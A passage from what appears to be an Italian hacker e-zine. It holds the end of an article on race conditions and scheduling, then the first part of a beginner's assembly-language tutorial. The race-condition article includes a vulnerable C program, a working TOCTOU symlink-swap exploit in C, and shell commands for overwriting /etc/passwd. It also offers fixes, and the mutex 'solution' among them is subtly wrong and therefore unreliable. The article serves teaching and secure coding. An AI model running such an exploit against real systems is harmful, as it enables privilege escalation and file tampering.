un tocco del mouse o della tasiera), quindi necessitano di tanto tempo e hanno una priorita` generalmente media. I secondi non sono interattivi, spesso vengono penalizzati dallo scheduler poiche` non hanno bisogno di gran respondivita`(es la compilazione di sorgenti con gcc) e hanno la priorita` piu` bassa di tutti i tipi di processi. Gli ultimi invece sono quelli con maggiore priorita` poiche` servono per flussi di dati video o audio ad esempio che non possono interrompersi frequentemente. Abitualmente lo scheduler decide da solo che priorita` dare al processo anche se il programmatore tramite syscall puo` assegnare la priorita` che ritiene piu` opportuna. E` molto importante notare che i processi in TASK_RUNNING hanno priorita` sugli altri cosi` sono i primi a essere scedulati. La stessa cosa vale per lo scheduling dei thread, per uno studio conoscitivo del sistema e del processo sul quale bisogna perpretare l'attacco sarebbe buon uso prendere in considerazione la possibilita` di includere nel proprio exploit una syscall che indichi la priorita` del processo assegnato dal kernel. Per avere una lista completa delle syscall fate riferimento al [2] nella bibliografia.Bisogan fare qualche precisazione esistono due priorita` per un processo una settata dal kernel e una che puo` essere settata dall'user che lancia il processo per quel che riguarda la seconda esistono priorita` da -19 a +20, mentre per il primo si va da 1000 e -1000 e in piu` c'e` +ve per il processo definito nello scheduling : "goodness" value (the larger, the better) -1000 significa che il processo non sara` mai selezionato , 0 che il tempo e` scaduto ma che verra` riprocessato in seguito +1000 che e` generalmente un realtime process.Per i processi che si usa classificare con batch o interactive si hanno priorita` medie di solito cioe` diverse da 1000 +ve , ovvio che potrebbero diventare 0 se scade il tempo assegnatoli. Esempi pratici: Ecco di seguito 2 esempi di race condition, il primo e' una TOCTOU molto semplice e poco realistica ,infatti il programma con la race condition deve essere eseguito da root per sovrascrivere file importanti tipo /etc/passwd, pero` e` un buon esempio della teoria dei TOCTOU. Qualche tempo fa e` stata trovata una race condition del programma passwd, infatti tutti gli utenti possono sovrascrivere la propria entry nel file delle passwd, ma con qualche gioco in piu` si e` riusciti creare un exploit che permettesse a qualunque utente di lavorare su tutte le entry del file, basandosi sui concetti alla base delle TOCTOU. -- Code - race1.c -- #include #include #include #include #include #include #include #include int main (int argc, char **argv) { FILE *f; if (argc != 3) { printf ("USAGE %s : file string\n", argv[0]); exit (-1); } if (!access (argv[1], W_OK)) { f = fopen (argv[1], "wb+"); fprintf (f, argv[2]); fflush (f); } else { perror ("access"); exit (-1); } return 0; } -- End Code -- Se si analizza il codice ci si accorge facilmente che c`e' un'ampia finestra di tempo tra la chiamata access e la vera apertura del file, in questo modo noi potremmo sovrascrivere un altro file sul quale non abbiamo i necessari permessi (come /etc/passwd). Vediamo come dovrebbe essere l'exploit teoricamente e come in realta' sara' una volta automatizzato. Teoricamente basterebbe dare i seguenti comandi mentre il codice viene lanciato. touch file ln -s file fakefile Subito dopo che root ha lanciato il programma con argomento file: rm fakefile && ln -s /etc/passwd fakefile /etc/passwd rappresenta il file sul quale non abbiamo i permessi per scrivere, ma che verra' sovrascritto dopo il nostro comando se abbiamo fortuna. Andiamo a vedere come sara' l'exploit automatizzato in C: -- Code - race1_exploit.c -- #include #include #include #include #include #define NAME_LEN 8 #define STR_LEN 1024 struct file { char *name; char *name2; char *string; char *string2; }; struct file *need; void inizializate () { if ((need = (struct file *) malloc (sizeof (struct file))) == NULL) exit (-1); if ((need->name = (char *) malloc (NAME_LEN)) == NULL) exit (-1); if ((need->name2 = (char *) malloc (NAME_LEN)) == NULL) exit (-1); if ((need->string = (char *) malloc (STR_LEN)) == NULL) exit (-1); if ((need->string2 = (char *) malloc (STR_LEN)) == NULL) exit (-1); } int getrace (char *file2, char *string) { FILE *rac, *to; inizializate (); /* Azzero la memoria allocata dalla malloc() */ memset(need->name, 0, NAME_LEN); /* Usando un size di NAME_LEN - 1 assicuro che la stringa sia sempre null-terminata */ strncpy (need->name, "toexl", NAME_LEN - 1); strncpy (need->name2, "alias", NAME_LEN); need->name2[NAME_LEN - 1] = 0; strncpy (need->string2, string, STR_LEN); need->string2[STR_LEN - 1] = 0; if ((rac = fopen (need->name, "wr+")) == NULL) { perror ("fopen"); exit (-1); } while(strncmp (need->string, need->string2, strlen (need->string2)) != 0) { /* Crea un link simbolico al file "toexl" */ if ((symlink (need->name, need->name2)) != 0) { perror ("link"); exit (-1); } if ((unlink (need->name2) != 0)) { perror ("unlink"); exit (-1); } if ((symlink (file2, need->name2)) != 0) { fprintf (stderr, "Failed\n"); exit (-1); } /* Legge il contenuto del file da sovrascrivere per eseguire un successivo confronto mediante strncmp() al fine di verificare se la race condition ha avuto luogo */ if ((to = fopen (file2, "r"))) { fgets (need->string, STR_LEN, to); fclose (to); } if ((unlink (need->name2) != 0)) { perror ("unlink"); exit (-1); } } fclose (rac); return 2; }; int main (int argc, char **argv) { if (argc != 3) { printf ("USAGE:%s filetosubscribe string\n", argv[0]); exit (0); } if ((getrace (argv[1], argv[2])) == 2) { printf ("Well done , we have rewrite the %s file.\n", argv[1]); } return 0; } -- End Code -- Per prima cosa tramite una fopen()[2] creiamo il file (corrisponde a "touch file"). Poi tramite symlink()[2] creiamo il link simbolico ad un fakefile (corrisponde a "ln -s file fakefile"). Da questo momento in poi iniziera' la vera automatizzazione del codice, abbiamo un while che controlla che le prime stringhe dei due file siano uguali. Nel ciclo viene cancellato il file tramite unlink()[2] e viene simbolicamente linkato tramite symlink()[2] ("ln -s /etc/passwd fakefile"). Ecco tutto l'exploit. Alcune precisazioni; se avessimo usato link()[2] invece di symlink()[2] ci sarebbero stati alcuni problemi : 1)sarebbe stato un hard link che sarebbe stato scritto sul filesystem stesso, quindi non si sarebbe potuta verificare la race condition 2)unlink i file(tranne i link simbolici) vengono rimossi solo quando nessuna applicazione li usa piu` e solo dopo che sono stati chiusi da tutti i thread/processi/programmi. Il secondo esempio e` un programma che esamina delle variabili e dopo averle processate punta alla prossima da esaminare: -- Code - race1.c -- #include #include #include #include #include int first,second,*pointer; void assigvar(void*arg); void* getnextvar(void *arg){ pointer=&first; assigvar((void*)pointer); while(first > 4){ pointer=&second; assigvar((void*)pointer); } while(second > 4){ pointer=&first; assigvar((void*)pointer); } return NULL; } void assigvar(void *arg){ arg=0; arg++; printf("%d\n",(int)arg); } int main(){ pthread_t id, t; if ((pthread_create(&id, NULL, getnextvar,NULL)) != 0) exit(1); if ((pthread_create(&t, NULL, getnextvar,NULL)) != 0) exit(1); pthread_join(id, NULL); pthread_join(t, NULL); return 0; } -- End Code -- Allora il codice si comporta cosi`: lancia due thread che modificano il valore della prima variabile (first) poi entrambi modificano la seconda e cosi` via. La race condition potrebbe verificarsi se lo scheduling avvenisse in questo modo: 1)il primo thread prende la variabile da modificare, controlla che non sia del valore che deve essere assegnato 2)il kernel blocca il primo e fa partire il secondo che fa la stessa cosa e modifica la variabile incrementando il suo valore cosa che avrebbe dovuto fare il primo 3) il primo thread non sapendo che il secondo ha fatto la stessa cosa aumenta ulteriormente il valore della variabile Uno scheduling del genere da luogo ad una race condition, ovviamente per la semplicita` del codice questa sara` quasi impossibile da dimostrare anche se e` presente e potenzialmente pericolosa. Vediamo delle possibili soluzioni per i codici precendenti adoperabili quasi sempre. Per il primo caso TOCTOU: -- Code - race1_sol.c -- #include #include #include #include #include #include #include #include int secwrite (char *file, char *string) { FILE *f; int fd; struct stat first, after; // do a stat before open the file if (lstat (file, &first) == -1) { perror ("lstat"); exit (-1); } // open the file if ((fd = open (file, O_RDWR)) == -1) { perror ("open"); exit (-1); }; // check again the fiel aftet opening it if (fstat (fd, &after) == -1) { perror ("fstat"); exit (-1); } //check if any part of the struct are the same if (first.st_mode == after.st_mode && first.st_dev == after.st_dev) { // create the file descriptor if ((f = fdopen (fd, "wb+")) != NULL) { fprintf (f, string); fflush (f); fclose (f); } } else close (fd); return 2; } int main (int argc, char **argv) { if (argc != 3) { fprintf (stderr, "USAGE %s : file string\n", argv[0]); exit (-1); } if (secwrite (argv[1], argv[2]) == 2) printf ("Done\n"); return 0; } -- End Code -- In questo caso si fa prima un lstat()[2] sul path del file, in seguito si apre tramite la open()[2] il file e infine si fa di fstat()[2]. Se le struct di lstat e di fstat combaciano(almeno in certi campi) si fa un fdopen()[3] sul file descriptor di open cosi` da avere un file descriptor tipico di una fopen. Il seguente metodo e` e` immune dalla race condition. Con qualche modifica nell'open e nell'fdopen e` possibile usare questo metodo per tutti i problemi relativi a questo tipo di race condition filesystem. Generalmente sarebbe buona regola per evitare i TOCTOU: 1) passare il path del file che si desidera aprire a lstat() invece di fare solo uno stat() sul file 2)Aprire con open invece che con fopen magari settando un u_mask appropriata e O_EXCL. 3) eseguire un lstat dopo averlo aperto 4) se tutto va bene eseguire fdopen 5) ricordarsi di chiudere tutti i file prima di fare altre operazioni Le operazione sul secondo codice, potrebbero essere rese atomiche tramite i mutex[3]. -- Code - race2_sol.c -- #include #include #include #include #include int first,second,*pointer; pthread_mutex_t valuemutex;//create the mutex void assigvar(void*arg); void* getnextvar(void *arg){ pointer=&first; assigvar((void*)pointer); pthread_mutex_init(&valuemutex,NULL);//inizializate it pthread_mutex_lock(&valuemutex);//lock the mutex while(first > 4){ pointer=&second; assigvar((void*)pointer); } while(second > 4){ pointer=&first; assigvar((void*)pointer); } pthread_mutex_unlock(&valuemutex);//unlock it return NULL; } void assigvar(void *arg){ arg=0; arg++; printf("%d\n",(int)arg); } int main(){ pthread_t id, t; if ((pthread_create(&id, NULL, getnextvar,NULL)) != 0) exit(1); if ((pthread_create(&t, NULL, getnextvar,NULL)) != 0) exit(1); pthread_join(id, NULL); pthread_join(t, NULL); return 0; } -- End Code -- L'unica cosa che abbiamo fatto e` stato mettere un mutex prima dei controlli sulle variabili in modo tale che un thread per volta legga i valori e si comporti di conseguenza. In questo caso basta usare i mutex su una variabile, ma qualche volta e` necessario delimitare delle vere sezioni critiche che se non vengono interamente eseguite il programma termina, si puo` definire una zona critica tramite pthread_setcancelstate()[3], questo fa in modo che due thread non possano essere switchati in esecuzione dando luogo a race condition. E` inoltre una buona idea usare qualche volta i lock dei file, ma bisogna stare molto attenti come andremo a vedere in seguito. Esistono due modi per fare il lock usando la chiamata open con il flag O_EXCL oppure usando la chiamata lock. Effetti collaterali, i deadlock: Purtroppo l'uso di MUTEX o del lock dei file puo` dare origine a problemi chiamati deadlock. I Mutex e i lock dei file permettono di bloccare l'esecuzione di un thread/processo finche` una condizione non avviene. Si ha una deadlock quando l'evento che dovrebbe sbloccare la funzione non avviene mai e quindi il programma resta in stallo perenne. Un esempio molto comune e` che un mutex aspetta di essere rilasciato dal thread stesso che e` in attesa dello sblocco del mutex, ne consegue che il mutex non verra` mai rilasciato poiche` il thread che dovrebbe adempiere a questo compito e` bloccato stesso in attesa che il mutex faccia continuare la sua esecuzione. Per evitare questi problemi e` consigliabile controllare che l'evento avvenga per forza entro un lasso di tempo, altrimenti lo si forza in modo tale che il programma possa continuare il suo lavoro, anche se questo introduce una certa latenza, alle volte inaccettabile. Conclusioni: Spero di essere riuscito a spiegare tutto in maniera chiara, se trovate errori, imprecisioni o se avete curiosita` potete mandarmi una mail. Come ultima cosa volevo ringraziare Vega_ che mi ha dato un aiuto nella stesura dell'articolo. L'ultima cosa che resta da dire e`, attenti ai vostri codici. Cheers:) Bibliografia: [1]Building Secure Software [2]Understanding the linux kernel [3]ALP , advanced linux programming [4]GaPiL , guida alla programmazione in linux ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: .::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.] :: [O]nda[Q]uadra [0X0B] OQ20040308[0B] :: :: [0x07][C0DiNG] EASY ASSEMBLY MiSSi0N - PARTE 1 [spectrum] :: [.]:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Un caldo e sentito _GRAZIE_ alla redazione di questa magnifica e inte- ressantissima rivista, per avermi offerto questo spazio che spero di utilizzare nel migliore dei modi. Vista la grande passione che coltivo da un po' di anni per il linguaggio assembler (piu propriamente chiamato assembly), colgo l'occasione per provare a spiegare in maniera piu' semplice e chiara possibile di che cosa si tratta. Tenete presente pero' che l'italiano a scuola non era il mio forte, per cui non usero' sempre i termini piu appropriati, che diro' anch'io le mie cazzate, come le di- cono del resto a volte anche i professori, ma che almeno tutto quello che troverete di seguito e' solo farina del mio sacco. Questa modesta serie di articoli, che spero sia scorrevole e leggera, e' diretta a quelli di voi che veramente di assembler e microprocessori non ne hanno la minima idea. Tuttavia chi ha gia un po di background potra' comunque divertirsi a leggere un po delle cavolate che seguiranno :). Di tut. assembly ce ne sono a milioni, ma la mie idea e' di illustrare le cose in maniera talmente semplice che tutti voi possiate capire, soprattutto chi parte da zero. Poche volte, anzi dieri quasi mai, ho trovato quella semplicita' di spiegazione delle cose che ho sempre spe- rato di trovare in merito all'assembler (il termine "assembler" che in realta' indica il compilatore, e non il linguaggio, mi piace di piu'). Se riproporro' spiegazioni simili a quelle trovate in libri grigi e freddi, allora avro' fallito la mia missione. Se qualcuno di voi tro- vera' le mie spiegazioni da altre parti Googlando, allora avro' stra- fallito. Se non capirete avro' fallito lo stesso quindi speriamo bene. -(1)- breve introduzione E' sabato sera ed avrei potuto andare in discoteca ma alla fine non mi sarebbbe rimasto molto se non fumo respirato, bibita che ti scassa, belle ragazze da vedere e non toccare, cose ormai che mi iniziano a stu- fare. Un bel tutorial asm invece mi entusiasma un bel po'. Fin da piccolo rimasi fortemente colpito dal linguaggio assembly e dalla sua complessita'. Nel 1984 ero 13enne, e i computer piu diffusi nelle case avevano nomi tipo ZX81, VIC20, Spectrum, C16, C64. Insomma nomi che avrete sentito nominare almeno una volta. Computer nati quasi esclu- sivamente far divertire i ragazzini con una discreta serie di giochi, anche se fornivano un sistema operativo di base e un ambiente di svi- luppo basato sul linguaggio Basic. Tuttavia l'assembler era indicato per ottenere le massime prestazioni dall'hardware. Mi affascino' subito, e mi affascino' proprio per la sua complessita'. Quel linguaggio si pre- sentava appunto come una colonna di codici mnemonici indecifrabili, che a 13 anni risultava essere veramente difficile da comprendere. La leggenda narrava che l'assembly era il linguaggio piu vicino al lin- guaggio della macchina, codice composto esclusivamente da UNI e da ZERI. E cosi e'. Tutto quello che trovate nel mondo informatico, per essere eseguito da un microprocessore, verra' sempre visto dal processore in termini di istruzioni di base. E credo che per un po' di anni questa re- gola rimarra' ancora valida :) . Dunque, circa 7 anni fa ho deciso di riprendere in mano la sfida. Non ho mai ingoiato il rospo di non aver mai capito nulla di asm (d'ora in poi uso asm, asm = linguaggio assembly). La verita' e che sono sempre stato abbastanza poco convinto, e che i libri che mi ero comprato non erano scritti in modo tale da far capire il linguaggio anche a persone poco sveglie come me. Insomma, mi e' rimasta la voglia di scrivere qualcosa di molto semplice, per dare qualcosa a chi ha voglia di imparare, e so- prattutto per spiegare argomenti veramente terra-terra che non ho trova- to nei libri che ho letto. Se non comprenderete alcune nozioni di base, alcune domande vi rimarranno fisse nella testa. Spero che alla fine di questo articolo o serie di articoli (vedremo) vi sia rimasto qualcosa. Ok, ora basta annoiarvi con questa spece di autobiografia del cavolo. Entriamo nel mondo della magia oscura, dei microprocessori, draghi streghe kroll, troll, codici operativi, maghi e folletti, mnemonici legati alle architetture, cavalieri, bus dati e indirizzi, etc etc. A parte gli scherzi, forniro' in seguito un minimo di background elet- tronico, giusto per arrivare fino ai bit e al clock. Pronti ? Bene, proviamo a partire. -(2)- nozioni BASE Elenco alcuni punti fissi che reputo veramente necessari affinche' quel che apprenderete dopo riguardo l'asm sia davvero vostro fino in fondo. + Cose'e' un PC ? Questo non lo spiegherei. Se non lo sapete avete visitato il "sito internet" sbagliato. Digita www.google.com nella barra indirizzi. + Cosa sono i Volt ? I Volt sono l'unita' di misura della differenza di potenziale. Dunque, vediamo come farvi capire in maniera semplice. Immaginate di mettere una palla sopra a un armadio. La palla ha acquisito energia. Si trova ora a un altezza di 2,5 metri. E se la spingete cadra' verso il basso. L'energia che aveva acquisito gli era stata fornita da voi alzandola. La palla sopra all'armadio si trova dunque ad avere un energia con se'. Un po come tirare un elastico che quando mollate torna in posizione na- turale. Quando tra due fili avete 12Volt significa che uno dei due fili (detto il polo positivo, in elettronica sempre in rosso di solito) ha un energia elettrica detta appunto "tensione" di +12VOLT rispetto all'altro filo che sara' lo 0 (in elettronica di solito e' indicato in nero, di solito i punti a potenziale (energia) 0 sono tutti collegati assieme a una massa metallica). In questo esempio la situazione e' stabile, cioe' sempre +12V sul filo rosso e 0V sul nero, anche se tras- corre del tempo. Questo tipo di tensione e' chiamata CONTINUA e ha poco a che vedere con la tensione 220VOLT che accende le lampadine di casa vostra. Quella e' un energia che varia nel tempo. L'hardware digitale dei PC (da dopo l'alimentatore in poi) funziona a tensione CONTINUA (anche indicata come DC, o =). In particolare l'alimentatore dei PC (non parlo ovviamente dei server della NASA ma dei PC che avete a casa), fornisce tutta una serie di tensioni: +5 e +12 che alimnentano le peri- feriche quali HD, floppy e CDROM, (queste tensioni sono presenti su quei connettori a quattro poli, rosso +5V, giallo +12V e i due neri al centro sono collegati assieme a 0Volt (massa comune con la crcassa del "case"). L'alimetatore fornisce poi tutta una serie di tensioni che alimentano la scheda madre, tensioni presenti sul connettore piu grande (2 per i Pentium4). Scusate se mi dilungo su cose banali, ma ripeto, vorrei che le cose piu ovvie e scontate siano chiare a tutti. + Cosa sono i Bit ? I microprocessori capiscono un unico linguaggio: il digitale, cioe' quel linguaggio composto da segnali elettrici precisi e univoci, che non va- riano se non di colpo, senza livelli intermedi. Cioe', sarebbe inutile che io vi gridassi un "ooouaeoi" se voi potreste sentire solo le lettere A ed U. I microprocessori capiscono solo 2 segnali elettrici uno ALTO, chiamato anche 1, o appunto BIT 1, segnale pari a un livello di tensione tra i 3 e 5 VOLT, a seconda del tipo di microprocessore, e uno BASSO, chiamato anche 0 o BIT 0. Questi due livelli, chiamati anche in inglese HIGH e LOW, sono le uniche 2 informazioni che il microprocessore comp- rende. + Il codice binario, cos'e' e come funziona, in maniera sintetica Non avrei potuto parlarvi del codice binario senza spiegarvi i BIT e non avrei potuto parlarvi dei BIT senza spiegare qualcosa dei VOLT (scusate se sono pesante come un prof. rompipalle). Bene, i libri di solito qui cominciano a rompere. Vediamo se riesco a essere piu semplice. Il micro- processore comprende solo zeri e uni, e comunque comprende solo numeri. Alcuni genialoidi hanno pertanto fissato delle convenzioni mondiali: a) 8 Bit messi uno vicino all'altro formano un Byte b) 1024 Byte messi uno vicino all'altro formano un KiloByte c) 1024 Kbyte messi uno vicino all'altro formano un MegaByte E cosi via. Un byte e' quindi un numero binario di 8 bit che noi umani abbiamo la possibilita' di interpretare come numeri esadecimali o de- cimali. Come funziona il binario ? Noi contiamo 0 1 2 3 4 5 6 7 8 Il PC conta 0 1 10 11 100 101 110 111 1000 etc etc etc Quello che credo sia utile e' che: con _OTTO_ bit hai un numero al massimo grande 2 elev. alla _OTTO_, 11111111 = 255 (da 0 a 11111111 abbiamo 256 unita') con 20 bit, 2^20, = 1 MegaByte. con 32 bit, 2^32, = 4 Giga. + Altre unita' utili legate al BYTE 1/2 BYTE si chiama anche nibble (4BIT) 2 BYTE = 1 WORD 4 BYTE = 1 DWORD (doubleword, 32 bit)) 8 BYTE = 1 QWORD (quadword, 64 bit) + Cos'e' la memoria ? Immaginate un mobiletto altissimo, di altezza infinita, composto da tan- ti cassetti uno sopra all'altro. Ok, il piu basso e' il cassetto 0, il secondo e l'1, il terzo sara il cassetto 2, e cosi via. Il cassetto piu alto, avra' un numero legato alla capacita'(altezza) massima del mo- bile. Bene, nella memoria del PC, ogni cassetto contiene 1 Byte. Non e' difficile insomma, i cassetti potranno essere riempiti o svuotati solo utilizzando BYTES. Non potrete scrivere o leggere a singoli bit. Se scrivete una DWORD in memoria con c++, in realta' scrivete 4 BYTE, uno per volta. + Cos'e' un microprocessore ? Questo lo spieghero' meglio in seguito con un esempio piu semplice pos- sibile. Tuttavia ne anticipo una prima spiegazione, se non la capite non ha importanza. Verra' buona per dopo. Una scatoletta nera, con dentro milioni di "TRANSISTOR" (prendete questo termine come se fosse un interruttore). Una scatoletta con dentro pero' anche un po di memoria. Una zona di memoria chiamata CACHE dove ci sara' un blocco di dati pronti da leggere, e una piccolissima zona di memoria chiamata REGISTRI del MICROPROCESSORE, che sono una serie di cassetti vicino alla parte del micro che esegue le operazioni (appunto il cuore del micro) che serviranno a contenere numeri per i calcoli da eseguire in maniera piu veloce possibile. Al vocabolo REGISTRI vi dovrete abi- tuare visto che sara' un termine di continuo utilizzo nell'asm. I regi- stri escono dalla regola "la memoria e' fatta solo da contenitori di capienza 1 BYTE", in quanto nei PC solitamente contengono 16 o 32bit per ognuno, anche se un registro a 32 bit si puo spesso leggere e scrivere anche per soli 8 o 16 bit. Sono cassetti "grandi" proprio per eseguire calcoli veloci con numeri grandi. Il numero, il nome e la capienza dei registri del microprocessore sono strettamente legati appunto alla marca e al modello del micro stesso (es, la famiglia dal 386 al Pentium4 ne ha 16 di base, 9 da 32 bit, 6 da 16 bit e uno ancora da 32. Un microprocessore Intel StrongARM ne ha 16 da 32bit, un micro AMD K6 per i 16 registri di base e' identico al Pentium4 (se no non ci sarebbe compatibilita') e cosi via insomma. Un microprocessore esegue pertanto calcoli su numeri contenuti nei re- gistri, spostamenti di valori da un registro a un altro, o da una loca- zione di memoria ad un'altra. + Il BUS DATI e il BUS INDIRIZZI Immaginate che dalla nostra scatoletta nera (microprocessore) escano 32+8+1+1 piedini. Piu o meno, e' cosi anche in realta' nei vostri pentium (ci sono molti piu piedini che escono ma per ora parliamo di questi). Allora i 32 si collegano con delle piste di rame su un lato della scatoletta della "memoria". Gli altri 8 piedini si collegano su un altro lato della scatoletta nera "memoria". E gli uno+uno che rimangono anche loro vanno alla memoriam in due punti diversi. Bene. Con i 32 piedini (bus indirizzi) scegliamo a che cassetto puntare, con i due pin separati diciamo alla memoira TIENI o DAMMI. Con DAMMI il conte- nuto del cassetto viene posto sugli otto pin che restano. Con TIENI viene invece preso il valore presente sugli 8 pin e messo alla posizione di memoria indicata dal BUS INDIRIZZI. + Il Clock Il clock e' il motore del PC. E' un segnale elettrico chiamato appunto "OndaQuadra" che si ripete continuamente nel tempo. E' fatto cosi': _ _ _ _| |_| |_| La frequenza di questo segnale significa quante volte si ripete in un secondo. E' generato da un circuito apposito, che comprende un oscil- latore al quarzo. In poche parole, all'accensione del PC, questo cir- cuito e' elettricamente instabile e il quarzo ne aumenta l'instabi- lita', creando l'oscillazione con frequenza pari alla frequenza di lavoro del quarzo. Dunque, per farvi capirte, vediamo.. immaginate un pendolo che tenete fermo in uno dei due punti della sua massima oscil- lazione. Quando volete partire lo mollate, e lui, grazie anche a un aiuto meccanico, oscilla senza fermarsi mai. Mmmm, pero non mi piace motlo la spiegazione.... Va be, per ora non ne trovo una migliore. Il clock comunque e' il motore di tutto il PC e quindi anche del micro- processore. Il microprocessore cioe' si serve del clock per fare tutti i suoi calcoli. Ogni instruzione assembler viene eseguita dal micro. in un certo numero di cicli di clock. _ 1 ciclo di clock = _| | I microprocessori piu recenti quali il Pentium 4 impiegano 1 unico ciclo per molte istruzioni. + I codici operativi. Un programma eseguibile come un .exe, se lo aprite col wordpad, non e' un file di testo con scritte istruzioni asm tipo "mov eax,2". E' in realta' un assieme di codici ancora piu ristretti che corrispondono pero' in maniera univoaca ad istruzioni assembler. Cioe', quando scriverete il vostro primo programma asm lo scriverete in maniera a voi comprensibile, cioe "mov eax,2". Questo pero verra' tradotto nel momento in cui compilerete il codice, in istruzioni sa voi non leggibili. Questi sono i codici operativi: push ebp ; diventera' 55 mov ebp,esp ; diventera' 8BEC xor edi,edi ; diventera' 33FF push edi ; diventera' 57 E i codici operativi sono quelli che il processore legge da memoria ed esegue. Sono le istruzioni non piu assembly ma codice macchina insomma. + L'assembly e le architetture Per capirci, il linguaggio asm e' legato al microprocessore. Ogni marca/modello di microprocessore ha il suo gruppo di istruzioni asm, ed ogni istruzione asm viene tradotta in un gruppo di numeri che solo quel microprocessore comprendera'. Per questo non e' un linguaggio "portabile". Le istruzioni sono solo per quella famiglia di processori compatibili e non per altre. Ogni casa costruttrice puo costruire microprocessori compatibili (es. AMD fa microprocessori che hanno le stesse istruzioni assembler di base degli Intel). Non e' importante l'implementazione hardware che le case utilizzano (implementazione, termine che fa molta scena, "fa figo" ed e' usato per far paura alla gente). Insomma, non e' importante il come ma e' importante che siano rispettate tutte le istruzioni (cioe' che alla fine sia disponibile lo stesso set di istruzioni). Queste definizioni erano comunque anticipazioni, capirete meglio in seguito. + Compilatori, sinatassi Il set di istruzioni asm e' legato al processore. Ogni processore ha il suo set di istruzioni assembler ben preciso. Per trasformare le istru- zioni assembler da voi scritte in codici operativi, cioe in un .exe insomma, dovrete usare un compilatore, esattamente come per il C e il C++. Ne esistono parecchi, per Windows e per Linux. Sotto Windows i piu usati sono masm32, tasm (io mi son comprato 6 anni fa il Tasm 5.0), Nasm, ed altri ancora. masm32 e Nasm sono entrambi free to use. Il mio era a pagamento :( . Sotto Linux usavo lo stesso gcc. Purtroppo da un compilatore a un altro le sintassi assembly cambiano leggermente masm32 mov eax, variabile tasm "modalita ideal mode" mov eax, [variablie] masm32 mov eax, numero gcc mov $numero, %eax (per il gcc cambia anche il senso, per mettere un numero nel registro eax devo fare il contrario del masm32). Insomma, per compilare un codice scritto per masm32 utilizzando Tasm, saranno necessari dei piccoli aggiustamenti al codice. -(3)- si entra nel vivo, il microprocessore, cosa fa, come funziona Ho pensato a lungo un esempio facile e intuitivo. Ore 00:54 ma ormai ho le cose in testa e voglio scriverle prima di perderle. Immaginate una stanza vuota con una scrivania e voi seduti in questa scrivania. Sapete che dovrete svolgere un lavoro non fisico ma diciamo "mentale" in maniera veloce e continua. Sapete tuttavia che avete i mezzi e le capacita' per farlo, che vi siete ben organizzati per farlo, e che comunque vi verra detto passo passo cosa dovete fare. La scrivania contiene sulla sinistra un contenitore con scritto "MEMORIA CODICE" e sopra un altro contenitore con scritto "MEMORIA DATI", un terzo contenitore con scritto "MEMORIA VIDEO" e un quarto con scritto "RESTO DELLA MEMORIA", tutti uno sopra all'altro, l'ordine in cui i contenitori si sormontano non e' importante. Il contenitore "MEMORIA CODICE" contiene un mazzetto di fogli che e' l'elenco delle cose che dovrete svolgere. Sulla vostra destra avete una lavagnetta riscrivibile divisa in 16 ret- tangoli, in cui potete scrivere con un pennerello. Ogni rettangolo ha un nome ben preciso, cioe' 1 per la prima, 2 per la seconda e cosi via fino a 16. Si comincia. Dal contenitore "memoria codice" VI PRENDETE il primo foglio che sta sopra. Lo leggete, e trovate scritto "SCRIVI IL NUMERO 25 NELLA CASELLA n.1 DELLA LAVAGNA". Facile, lo fate subito e cestinate il foglio. Fatto cio' vi PRENDETE ora il prossimo foglio dal cassetto "memoria co- dice". C'e' scritto "SCRIVI IL NUMERO 4 NELLA CASELLA n.2 DELLA LAVA- GNA". Bene, lo fate senza alcun problema e velocemente. Ora RITIRATE il terzo foglio. Dice "MOLTIPLICA IL NUMERO NEL RIQUADRO 1 PER IL NUMERO CONTENUTO NEL RIQUADRO 2, RISCRIVI IL RISULTATO NEL RI- QUADRO 1". Voi con la vostra mente potente eseguite il calcolo e sovra- scrivete (dopo aver cancellato) il risultato nel riquadro 1). Bene avete svolto le vostre prime tre istruzioni assembler: mi spiego. ** Trasformero' gli esempi della vita reale come quello della scrivania, in istruzioni assembler per microprocessori "i386 family", cioe 80386, 486, Pentium, fino al Pentium4, e ovviamente micro compatibili AMD e altri. Questi processori utilizzano tutti le stesse istruzioni asm di base. Ricapitolando. Quando cliccate un .exe questo viene rilocato dall'hard disk in memoria. Di questo si occupa il sistema operativo, magari anche senza interessare il microprocessore (DMA, direct memory access, i dati passano da HD a memoria tramite un chip "controller DMA"). 1) Il micro legge da memoria la prima istruzione, leggendola dalla zione dove comincia il codice da eseguire. Sa da dove leggere perche' il sistema operativo carica riempie il registro chiamato IP (instruction pointer) con la locazione di partenza del codice. La prima istruzione (che non e' altro che un gruppo di 2 BYTES, detto anche codice operativo) dice mov eax, 25 il micro scrive il numero 25 nel suo primo cassetto, "registro che si chiama eax". 2) Fatto questo il micro ritira dalla memoria la seconda istruzione, aggiungendo al registro EIP (puntatore alla memoria del codice) il nu- mero di bytes del primo codice operativo (questa operazione la fa il micro da solo, non e' necessaria nessuna istruzione asm). mov ebx, 1 mette 1 nel secondo cassetto, chiamato registro ebx. 3) Viene sommata al registro EIP la quantita' di bytes dell'istruzione precedente, e letta la terza istruzione mul ebx Con questa istruzione il micro moltiplica eax per ebx e mette il risulta- to in eax. Bene, questo e' un primo stupido spezzone di codice assembly: start: mov eax,25 mov ebx,1 mul ebx end Questo prima perte volge al termine perche' ormai sono stanco. Per la prossima volta studiate: i nomi dei registri di base del pentium: eax, ebx, ecx, edx, esi,edi, esp, ebp, eip, es, cs, ss, ds, fs, gs, flags Li ho gia raggruppati in piccole famiglie. Non e' importante per ora il loro impiego specifico, per ora provate a memorizzarne il nome. Ricordate che i registri fanno parte del microprocessore, sono dentro al microprocessore. Le istruzioni vengono lette solitamente dalla memo- ria cache che e' dentro al processore. Questo perche' quando sono nati i 486, il processore era molto piu veloce a decodificare e eseguire le istruzioni rispetto al leggerle da memoria RAM fuori dal processore. Allora hanno inventato la "chache", cosi vengono copiati blocchi di me- moria in cache che si trova all'interno del micro (meglio ripetere, c'e' una cache anche fuori del micro spesso, ma per ora non ce ne occuperemo per non crear confusiuone). La lettura delle istruzioni fatta da cache sara' quindi piu prestante. Ok per ora mi fermo. Un microprocessore e' ben piu complesso di cosi'.. e l'assembly pentium e' vasto, pieno di tante e tante istruzioni.Voi direte ma allora, come funzionano i giochi 3D come counter strike se il micro fa solo calcoli ? Vi dico ancora questo e poi vi lascio a riflet- tere. Scrivendo nella particolare locazione di memoria riservata alla "memoria video", mettendo un BYTE di valore 5 in un determinato indirizzo, vedre- te un pixel colorarsi sullo schermo. 